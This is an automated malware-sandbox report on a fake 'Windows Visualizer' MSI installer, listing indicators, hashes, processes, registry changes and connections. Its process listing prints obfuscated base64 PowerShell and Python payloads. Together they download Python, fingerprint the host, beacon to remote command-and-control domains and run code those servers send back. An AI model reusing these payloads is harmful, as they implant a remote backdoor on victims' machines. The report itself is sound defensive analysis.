File name:

nf.msi

Full analysis: https://app.any.run/tasks/80ead33e-4f45-47e8-84dd-f2aa6de5330b
Verdict: Malicious activity
Analysis date: November 22, 2023, 13:41:52
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
generated-doc
Indicators:
MIME: application/x-msi
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Dec 11 11:47:44 2009, Security: 0, Code page: 1252, Revision Number: {69219A73-1EA2-4717-9E2C-3F94216A80F7}, Number of Words: 10, Subject: Windows Visualizer, Author: Microsoft Company., Name of Creating Application: Advanced Installer 16.1 build c9c5c0c9, Template: ;1033, Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
MD5:

6A23AFBDEEB0D62A82585A6FEE6A3D71

SHA1:

4ABF5FE49A31C3208E3E07F1BF021486D8FECC97

SHA256:

22F159ACAEE38A5F6D16445B587B177493A0EAD73B6D0E58F6FE913DDBF1F258

SSDEEP:

49152:u2Kwz4uGN6Lgq3vJ8MKuZ+Z7gcmvk8deKZIVHP:Ewz4uN3vJ8MJx

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • msiexec.exe (PID: 3020)
      • powershell.exe (PID: 2784)

    • Changes powershell execution policy (Bypass)

      • msiexec.exe (PID: 2556)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 312)

  • SUSPICIOUS

    • Reads the Internet Settings

      • MSIA7D4.tmp (PID: 284)
      • msiexec.exe (PID: 2092)
      • powershell.exe (PID: 2784)

    • Reads the Windows owner or organization settings

      • msiexec.exe (PID: 3020)

    • Reads security settings of Internet Explorer

      • msiexec.exe (PID: 2092)

    • Checks Windows Trust Settings

      • msiexec.exe (PID: 2092)

    • The process executes Powershell scripts

      • msiexec.exe (PID: 2556)

    • The process bypasses the loading of PowerShell profile settings

      • msiexec.exe (PID: 2556)

    • Starts POWERSHELL.EXE for commands execution

      • msiexec.exe (PID: 2556)
      • powershell.exe (PID: 312)

    • The process hide an interactive prompt from the user

      • msiexec.exe (PID: 2556)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 2784)

    • BASE64 encoded PowerShell command has been detected

      • powershell.exe (PID: 312)

    • Base64-obfuscated command line is found

      • powershell.exe (PID: 312)

    • Application launched itself

      • powershell.exe (PID: 312)

    • Process drops legitimate windows executable

      • powershell.exe (PID: 2784)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 2784)

    • Loads Python modules

      • python.exe (PID: 2240)

    • Unusual connection from system programs

      • powershell.exe (PID: 2784)

  • INFO

    • Create files in a temporary directory

      • msiexec.exe (PID: 1936)
      • msiexec.exe (PID: 3020)
      • msiexec.exe (PID: 2556)
      • powershell.exe (PID: 312)

    • Reads the computer name

      • msiexec.exe (PID: 2092)
      • msiexec.exe (PID: 3020)
      • MSIA7D4.tmp (PID: 284)
      • msiexec.exe (PID: 2556)

    • Checks supported languages

      • MSIA7D4.tmp (PID: 284)
      • msiexec.exe (PID: 3020)
      • msiexec.exe (PID: 2092)
      • msiexec.exe (PID: 2556)

    • Checks proxy server information

      • msiexec.exe (PID: 2092)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3020)

    • Reads Environment values

      • MSIA7D4.tmp (PID: 284)
      • msiexec.exe (PID: 2556)

    • Reads the machine GUID from the registry

      • msiexec.exe (PID: 3020)
      • msiexec.exe (PID: 2092)
      • msiexec.exe (PID: 2556)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 312)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.msi | Microsoft Windows Installer (88.6)
.mst | Windows SDK Setup Transform Script (10)
.msi | Microsoft Installer (100)

EXIF

FlashPix

LastPrinted: 2009:12:11 11:47:44
CreateDate: 2009:12:11 11:47:44
ModifyDate: 2009:12:11 11:47:44
Security: None
CodePage: Windows Latin 1 (Western European)
RevisionNumber: {69219A73-1EA2-4717-9E2C-3F94216A80F7}
Words: 10
Subject: Windows Visualizer
Author: Microsoft Company.
LastModifiedBy: -
Software: Advanced Installer 16.1 build c9c5c0c9
Template: ;1033
Comments: -
Title: Installation Database
Keywords: Installer, MSI, Database
Pages: 200
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
9
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start msiexec.exe no specs msiexec.exe no specs msiexec.exe msia7d4.tmp no specs msiexec.exe no specs msiexec.exe no specs powershell.exe no specs powershell.exe python.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
284"C:\Windows\Installer\MSIA7D4.tmp" /DontWait /HideWindow /dir "C:\Users\Public\" msiexec.exe /i install.msi /QNC:\Windows\Installer\MSIA7D4.tmp—msiexec.exe
User:
admin
Company:
Caphyon LTD
Integrity Level:
MEDIUM
Description:
File that launches another file
Exit code:
0
Version:
16.1.0.0
Modules
Images
c:\windows\installer\msia7d4.tmp
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
312 -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\admin\AppData\Local\Temp\pssB147.ps1" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
1936"C:\Windows\System32\msiexec.exe" /i "C:\Users\admin\AppData\Local\Temp\nf.msi"C:\Windows\System32\msiexec.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2092C:\Windows\syswow64\MsiExec.exe -Embedding CF6EF34E91A059715FC05E5E63911517C:\Windows\SysWOW64\msiexec.exe
msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2240"C:\Users\Public\python\python.exe" -c "import base64; exec(base64.b64decode('bSA9ICc4MzIzNTIwODc0NycKZnJvbSB0aW1lIGltcG9ydCBzbGVlcApzbGVlcCg2MCkKaW1wb3J0IGJhc2U2NCBhcyBiCmltcG9ydCBzb2NrZXQgYXMgc3MKZnJvbSByYW5kb20gaW1wb3J0IGNob2ljZQppbXBvcnQgd2lucmVnIGFzIHcKZGVmIHAoYywgbik6CiAgICBzMiA9IHcuT3BlbktleSh3LkhLRVlfTE9DQUxfTUFDSElORSwgYykKICAgIHJldHVybiB3LlF1ZXJ5VmFsdWVFeChzMiwgbilbMF0KcHIgPSBwKHInSEFSRFdBUkVcXERFU0NSSVBUSU9OXFxTeXN0ZW1cXENlbnRyYWxQcm9jZXNzb3JcXDAnLCAnUHJvY2Vzc29yTmFtZVN0cmluZycpCnZzID0gcChyJ1NPRlRXQVJFXFxNaWNyb3NvZnRcXFdpbmRvd3MgTlRcXEN1cnJlbnRWZXJzaW9uJywgJ1Byb2R1Y3ROYW1lJykKZnMgPSAnLmJyYXppbHNvdXRoLmNsb3VkYXBwLmF6dXJlLmNvbScKbGwgPSBbZidqZ2hza2Q5a2Z4N3tmc30nLCBmJ2tmNGZqOTJ6ZmtqOTJ7ZnN9JywgZidma2o5OTN5ZjM5MzN7ZnN9JywgZidnZzQ5OGpoaDJ4OTQzNHtmc30nLCBmJ2hoNTgzOTAwNGpoe2ZzfScsIGYnaWJzMTF4a2Q4OTQze2ZzfSddCmVlID0gRmFsc2UKd2hpbGUgVHJ1ZToKICAgIGlmICdCcm9hZHdlbGwnIGluIHByOgogICAgICAgIGJyZWFrCiAgICBmb3IgbCBpbiBsbDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHdpdGggc3Muc29ja2V0KHNzLkFGX0lORVQsIHNzLlNPQ0tfU1RSRUFNKSBhcyBzOgogICAgICAgICAgICAgICAgcy5jb25uZWN0KChmJ3tsfScsIGNob2ljZShbMzgyMSwgNDQxOCwgNTE3OCwgOTk4MywgNzMxMSwgODI5NCwgNjI3MywgMjExOSwgMTAxOCwgMTcwMV0pKSkKICAgICAgICAgICAgICAgIHMuc2VuZChmJ3B5Q29kZSAtIHtzcy5nZXRob3N0bmFtZSgpfSB8IHt2c30gfCB7cHJ9Jy5lbmNvZGUoKSkKICAgICAgICAgICAgICAgIGR0ID0gcy5yZWN2KDY1NTM2KS5kZWNvZGUoKQogICAgICAgICAgICAgICAgZXhlYyhiLmI2NGRlY29kZShzdHIoZHQpKSkKICAgICAgICAgICAgICAgIHMuY2xvc2UoKQogICAgICAgICAgICAgICAgZWUgPSBUcnVlCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwogICAgbGwuYXBwZW5kKCdjYW1lcmEtZW1wcmVzYS5hY2Nlc3NjYW0ub3JnJykKICAgIGlmIGVlOgogICAgICAgIGJyZWFr')); exit()"C:\Users\Public\python\python.exe—powershell.exe
User:
admin
Company:
Python Software Foundation
Integrity Level:
MEDIUM
Description:
Python
Exit code:
3221225781
Version:
3.9.6
Modules
Images
c:\users\public\python\python.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2556C:\Windows\syswow64\MsiExec.exe -Embedding 0E1787F46149851503D7DD05A7A8A3DFC:\Windows\SysWOW64\msiexec.exe—msiexec.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2724"C:\Windows\System32\msiexec.exe" /i install.msi /QNC:\Windows\SysWOW64\msiexec.exe—MSIA7D4.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\syswow64\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
2784"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e CgAjACAAQgBsAG8AYwBrACAAZgBvAHIAIABkAGUAYwBsAGEAcgBpAG4AZwAgAHQAaABlACAAcwBjAHIAaQBwAHQAIABwAGEAcgBhAG0AZQB0AGUAcgBzAC4ACgBQAGEAcgBhAG0AKAApAAoACgBjAGQAIAAkAEUATgBWADoAcAB1AGIAbABpAGMACgAkAEYAbwBsAGQAZQByACAAPQAgACIAJAB7AEUATgBWADoAcAB1AGIAbABpAGMAfQBcAHAAZQBmAGkAbABlAC0AMgAwADIAMwAuADIALgA3ACIACgAkAEYAbwBsAGQAZQByADIAIAA9ACAAIgAkAHsARQBOAFYAOgBwAHUAYgBsAGkAYwB9AFwAcAB5AHQAaABvAG4AIgAKAGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABGAG8AbABkAGUAcgAyACAALQBQAGEAdABoAFQAeQBwAGUAIABDAG8AbgB0AGEAaQBuAGUAcgApACkAIAB7AAoAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAUgBJACAAaAB0AHQAcABzADoALwAvAGYAaQBsAGUAcwAuAHAAeQB0AGgAbwBuAGgAbwBzAHQAZQBkAC4AbwByAGcALwBwAGEAYwBrAGEAZwBlAHMALwA3ADgALwBjADUALwAzAGIAMwBjADYAMgAyADIAMwBmADcAMgBlADIAMwA2ADAANwAzADcAZgBkADIAYQA1ADcAYwAzADAAZQA1AGIAMgBhAGQAZQBjAGQAOAA1AGUANwAwADIANwA2ADgANwA5ADYAMAA5AGEANwA0ADAAMwAzADMANAAvAHAAZQBmAGkAbABlAC0AMgAwADIAMwAuADIALgA3AC4AdABhAHIALgBnAHoAIAAtAE8AdQB0AEYAaQBsAGUAIABwAGUAZgBpAGwAZQAuAHQAYQByAC4AZwB6AAoAIAAgACAAIAB0AGEAcgAgAC0AeAB2AHoAZgAgAHAAZQBmAGkAbABlAC4AdABhAHIALgBnAHoAOwAKACAAIAAgACAAUgBlAG4AYQBtAGUALQBJAHQAZQBtACAAJABGAG8AbABkAGUAcgAgACIAcAB5AHQAaABvAG4AIgAKACAAIAAgACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAFIASQAgAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHAAeQB0AGgAbwBuAC4AbwByAGcALwBmAHQAcAAvAHAAeQB0AGgAbwBuAC8AMwAuADkALgA2AC8AcAB5AHQAaABvAG4ALQAzAC4AOQAuADYALQBlAG0AYgBlAGQALQB3AGkAbgAzADIALgB6AGkAcAAgAC0ATwB1AHQARgBpAGwAZQAgAHAAeQB0AGgAbwBuAC4AegBpAHAAOwAKACAAIAAgACAARQB4AHAAYQBuAGQALQBBAHIAYwBoAGkAdgBlACAAcAB5AHQAaABvAG4ALgB6AGkAcAAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIABwAHkAdABoAG8AbgA7AAoAfQAKAC4AXABwAHkAdABoAG8AbgBcAHAAeQB0AGgAbwBuAC4AZQB4AGUAIAAtAGMAIAAiACIAIgBpAG0AcABvAHIAdAAgAGIAYQBzAGUANgA0ADsAIABlAHgAZQBjACgAYgBhAHMAZQA2ADQALgBiADYANABkAGUAYwBvAGQAZQAoACcAYgBTAEEAOQBJAEMAYwA0AE0AegBJAHoATgBUAEkAdwBPAEQAYwAwAE4AeQBjAEsAWgBuAEoAdgBiAFMAQgAwAGEAVwAxAGwASQBHAGwAdABjAEcAOQB5AGQAQwBCAHoAYgBHAFYAbABjAEEAcAB6AGIARwBWAGwAYwBDAGcAMgBNAEMAawBLAGEAVwAxAHcAYgAzAEoAMABJAEcASgBoAGMAMgBVADIATgBDAEIAaABjAHkAQgBpAEMAbQBsAHQAYwBHADkAeQBkAEMAQgB6AGIAMgBOAHIAWgBYAFEAZwBZAFgATQBnAGMAMwBNAEsAWgBuAEoAdgBiAFMAQgB5AFkAVwA1AGsAYgAyADAAZwBhAFcAMQB3AGIAMwBKADAASQBHAE4AbwBiADIAbABqAFoAUQBwAHAAYgBYAEIAdgBjAG4AUQBnAGQAMgBsAHUAYwBtAFYAbgBJAEcARgB6AEkASABjAEsAWgBHAFYAbQBJAEgAQQBvAFkAeQB3AGcAYgBpAGsANgBDAGkAQQBnAEkAQwBCAHoATQBpAEEAOQBJAEgAYwB1AFQAMwBCAGwAYgBrAHQAbABlAFMAaAAzAEwAawBoAEwAUgBWAGwAZgBUAEUAOQBEAFEAVQB4AGYAVABVAEYARABTAEUAbABPAFIAUwB3AGcAWQB5AGsASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQgAzAEwAbABGADEAWgBYAEoANQBWAG0ARgBzAGQAVwBWAEYAZQBDAGgAegBNAGkAdwBnAGIAaQBsAGIATQBGADAASwBjAEgASQBnAFAAUwBCAHcASwBIAEkAbgBTAEUARgBTAFIARgBkAEIAVQBrAFYAYwBYAEUAUgBGAFUAMABOAFMAUwBWAEIAVQBTAFUAOQBPAFgARgB4AFQAZQBYAE4AMABaAFcAMQBjAFgARQBOAGwAYgBuAFIAeQBZAFcAeABRAGMAbQA5AGoAWgBYAE4AegBiADMASgBjAFgARABBAG4ATABDAEEAbgBVAEgASgB2AFkAMgBWAHoAYwAyADkAeQBUAG0ARgB0AFoAVgBOADAAYwBtAGwAdQBaAHkAYwBwAEMAbgBaAHoASQBEADAAZwBjAEMAaAB5AEoAMQBOAFAAUgBsAFIAWABRAFYASgBGAFgARgB4AE4AYQBXAE4AeQBiADMATgB2AFoAbgBSAGMAWABGAGQAcABiAG0AUgB2AGQAMwBNAGcAVABsAFIAYwBYAEUATgAxAGMAbgBKAGwAYgBuAFIAVwBaAFgASgB6AGEAVwA5AHUASgB5AHcAZwBKADEAQgB5AGIAMgBSADEAWQAzAFIATwBZAFcAMQBsAEoAeQBrAEsAWgBuAE0AZwBQAFMAQQBuAEwAbQBKAHkAWQBYAHAAcABiAEgATgB2AGQAWABSAG8ATABtAE4AcwBiADMAVgBrAFkAWABCAHcATABtAEYANgBkAFgASgBsAEwAbQBOAHYAYgBTAGMASwBiAEcAdwBnAFAAUwBCAGIAWgBpAGQAcQBaADIAaAB6AGEAMgBRADUAYQAyAFoANABOADMAdABtAGMAMwAwAG4ATABDAEIAbQBKADIAdABtAE4ARwBaAHEATwBUAEoANgBaAG0AdABxAE8AVABKADcAWgBuAE4AOQBKAHkAdwBnAFoAaQBkAG0AYQAyAG8ANQBPAFQATgA1AFoAagBNADUATQB6AE4ANwBaAG4ATgA5AEoAeQB3AGcAWgBpAGQAbgBaAHoAUQA1AE8ARwBwAG8AYQBEAEoANABPAFQAUQB6AE4ASAB0AG0AYwAzADAAbgBMAEMAQgBtAEoAMgBoAG8ATgBUAGcAegBPAFQAQQB3AE4ARwBwAG8AZQAyAFoAegBmAFMAYwBzAEkARwBZAG4AYQBXAEoAegBNAFQARgA0AGEAMgBRADQATwBUAFEAegBlADIAWgB6AGYAUwBkAGQAQwBtAFYAbABJAEQAMABnAFIAbQBGAHMAYwAyAFUASwBkADIAaABwAGIARwBVAGcAVgBIAEoAMQBaAFQAbwBLAEkAQwBBAGcASQBHAGwAbQBJAEMAZABDAGMAbQA5AGgAWgBIAGQAbABiAEcAdwBuAEkARwBsAHUASQBIAEIAeQBPAGcAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEcASgB5AFoAVwBGAHIAQwBpAEEAZwBJAEMAQgBtAGIAMwBJAGcAYgBDAEIAcABiAGkAQgBzAGIARABvAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBCADAAYwBuAGsANgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkASABkAHAAZABHAGcAZwBjADMATQB1AGMAMgA5AGoAYQAyAFYAMABLAEgATgB6AEwAawBGAEcAWAAwAGwATwBSAFYAUQBzAEkASABOAHoATABsAE4AUABRADAAdABmAFUAMQBSAFMAUgBVAEYATgBLAFMAQgBoAGMAeQBCAHoATwBnAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcAYwB5ADUAagBiADIANQB1AFoAVwBOADAASwBDAGgAbQBKADMAdABzAGYAUwBjAHMASQBHAE4AbwBiADIAbABqAFoAUwBoAGIATQB6AGcAeQBNAFMAdwBnAE4ARABRAHgATwBDAHcAZwBOAFQARQAzAE8AQwB3AGcATwBUAGsANABNAHkAdwBnAE4AegBNAHgATQBTAHcAZwBPAEQASQA1AE4AQwB3AGcATgBqAEkAMwBNAHkAdwBnAE0AagBFAHgATwBTAHcAZwBNAFQAQQB4AE8AQwB3AGcATQBUAGMAdwBNAFYAMABwAEsAUwBrAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkASABNAHUAYwAyAFYAdQBaAEMAaABtAEoAMwBCADUAUQAyADkAawBaAFMAQQB0AEkASAB0AHoAYwB5ADUAbgBaAFgAUgBvAGIAMwBOADAAYgBtAEYAdABaAFMAZwBwAGYAUwBCADgASQBIAHQAMgBjADMAMABnAGYAQwBCADcAYwBIAEoAOQBKAHkANQBsAGIAbQBOAHYAWgBHAFUAbwBLAFMAawBLAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEcAUgAwAEkARAAwAGcAYwB5ADUAeQBaAFcATgAyAEsARABZADEATgBUAE0AMgBLAFMANQBrAFoAVwBOAHYAWgBHAFUAbwBLAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBaAFgAaABsAFkAeQBoAGkATABtAEkAMgBOAEcAUgBsAFkAMgA5AGsAWgBTAGgAegBkAEgASQBvAFoASABRAHAASwBTAGsASwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBIAE0AdQBZADIAeAB2AGMAMgBVAG8ASwBRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcAWgBXAFUAZwBQAFMAQgBVAGMAbgBWAGwAQwBpAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBCAGkAYwBtAFYAaABhAHcAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEcAVgA0AFkAMgBWAHcAZABEAG8ASwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAGMARwBGAHoAYwB3AG8AZwBJAEMAQQBnAGIARwB3AHUAWQBYAEIAdwBaAFcANQBrAEsAQwBkAGoAWQBXADEAbABjAG0ARQB0AFoAVwAxAHcAYwBtAFYAegBZAFMANQBoAFkAMgBOAGwAYwAzAE4AagBZAFcAMAB1AGIAMwBKAG4ASgB5AGsASwBJAEMAQQBnAEkARwBsAG0ASQBHAFYAbABPAGcAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEcASgB5AFoAVwBGAHIAJwApACkAOwAgAGUAeABpAHQAKAApACIAIgAiADsACgA=C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
3020C:\Windows\system32\msiexec.exe /VC:\Windows\System32\msiexec.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
6 945
Read events
6 897
Write events
29
Delete events
19

Modification events

(PID) Process:(2092) msiexec.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(2092) msiexec.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
46000000C1000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(2092) msiexec.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2092) msiexec.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2092) msiexec.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2092) msiexec.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2092) msiexec.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(2092) msiexec.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(284) MSIA7D4.tmpKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(284) MSIA7D4.tmpKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
Executable files
43
Suspicious files
29
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
3020msiexec.exeC:\Windows\Installer\MSIA7D4.tmpexecutable
MD5:313E5ADBA81569C13D5BE24139CB2A02
SHA256:D54BB7C088002A467A7D37ECC1AE1AA9BDE920078DC24D5844D8AC7A57EA5841
3020msiexec.exeC:\Windows\Installer\MSIA824.tmpexecutable
MD5:9E6B90CA4C776937943C976A56A18701
SHA256:CBAD1F9097A0EE0874F8F29D206A9DF465A96A53806E27E2E5A2BC9782BECA38
3020msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF8A203C9BF9977BFB.TMPbinary
MD5:46C29E370E713DEED5DDB82B75DB1760
SHA256:EDC342E1D544A4F71FCACD9B42CFE6C066CD95E120FB6BDEEFC295A4A75454EB
2092msiexec.exeC:\Users\Public\install.msiexecutable
MD5:6BEDE1BA2D91C41AC34F0497731AD595
SHA256:BE3E9077FEBAE2147C126687E930EA5B517BECD5435226E5CD10209D8B6BA0A3
3020msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFD730EB0A516862A2.TMPbinary
MD5:BF619EAC0CDF3F68D496EA9344137E8B
SHA256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
3020msiexec.exeC:\Windows\Installer\MSIA6E6.tmpexecutable
MD5:CA95F207EC70BA34B46C785F7BCB5570
SHA256:8AC4B42FB36D10194A14C32F6F499A6AC6ACB79ADBEC858647495BA64F6DD2BB
2556msiexec.exeC:\Users\admin\AppData\Local\Temp\msiB145.txt —
MD5:—
SHA256:—
2556msiexec.exeC:\Users\admin\AppData\Local\Temp\pssB146.ps1 —
MD5:—
SHA256:—
3020msiexec.exeC:\Windows\Installer\MSIA706.tmpexecutable
MD5:CA95F207EC70BA34B46C785F7BCB5570
SHA256:8AC4B42FB36D10194A14C32F6F499A6AC6ACB79ADBEC858647495BA64F6DD2BB
2556msiexec.exeC:\Users\admin\AppData\Local\Temp\pssB147.ps1 —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
12
DNS requests
6
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2784
powershell.exe
GET
200
104.18.21.226:80
http://secure.globalsign.com/cacert/root-r3.crt
unknown
binary
867 b
unknown
2784
powershell.exe
GET
200
46.228.146.128:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?fc5741d102329b66
unknown
compressed
61.6 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
324
svchost.exe
224.0.0.252:5355
—
—
—
unknown
4
